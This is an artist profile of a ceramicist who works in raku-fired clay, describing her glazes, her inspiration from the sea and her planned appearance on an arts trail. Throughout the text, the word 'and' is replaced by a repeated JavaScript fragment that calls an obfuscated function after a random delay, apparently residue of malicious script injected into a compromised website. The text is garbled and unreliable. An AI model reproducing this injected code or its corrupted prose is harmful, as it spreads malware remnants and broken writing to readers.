Nadya Anne Mangion

Ceramicist Nadya Anne’s favourite material is raku-fired clay, with which she creates organic forms in a variety of rich colours andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and surface textures.

During The Trail she invites visitors to follow her process, from the shaping of the clay through to the finished pots andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and figures, as she shares her creative spark andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and process of making.

Although she was drawing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and painting from an early age, Nadya Anne always felt that she could not express herself to the fullest on paper or canvas. “Working with clay means more to me than the touch or feel of the medium. Somehow the earthiness of the material grounds me.”

“The preferred finishes to my pieces are a turquoise copper glaze, interspersed with black smoked, polished surfaces andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and splashes of bright vibrant colours. The sea is my main source of inspiration. The lustre of copper meandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andering in the blue-green of turquoise ties me to the sea. It gives them warmth, lifting them from a static piece to one which has movement as light is reflected off the surface just like the sun glints off the surface of the sea.”

“Pots start their life pinched from a lump of clay, enlarged by coiling andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then deformed, textured, polished, glazed or smoked. From small handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-held pinch pots to larger pots, they are reminiscent of polished pebbles or figure silhouettes.”

Raku-firing controls the chemical oxidation/reduction of the glazes used. This firing technique perfectly marries Nadya’s scientific background with her artistic instinct. Pieces start their life in her home basement workshop, before being then transferred to the roof to be raku-fired.

“Our tiny islandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is so rich in history. My female torsos are greatly influenced by the work of our ancestral potters andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sculptors, making them timeless.” Made with minimal manipulation of the clay; finger andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tool imprints give them an unfinished appearance. The end result is a dynamic andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tactile representation of the human body rich in anatomical detail.”

“After participating in a number of collectives locally andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and abroad, I am currently working on material for my first solo exhibition scheduled for September 2019, experimenting with new techniques, media andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and glazes. I will be on site with a selection of my ceramic sculptures andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pots on The Trail, working on new pieces andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ready to answer your questions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and quench your curiosity about my work.”

If you’d like to learn more about Raku-fired clay andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and see the process in action, be sure to visit Nadya this November on The Trail.